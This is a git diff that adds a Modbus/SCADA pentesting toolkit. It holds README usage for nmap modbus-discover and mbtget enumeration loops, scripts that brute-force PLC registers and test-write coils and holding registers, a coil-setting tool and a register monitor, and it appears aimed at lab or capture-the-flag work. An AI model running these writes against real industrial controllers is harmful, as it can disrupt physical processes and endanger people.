`https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if 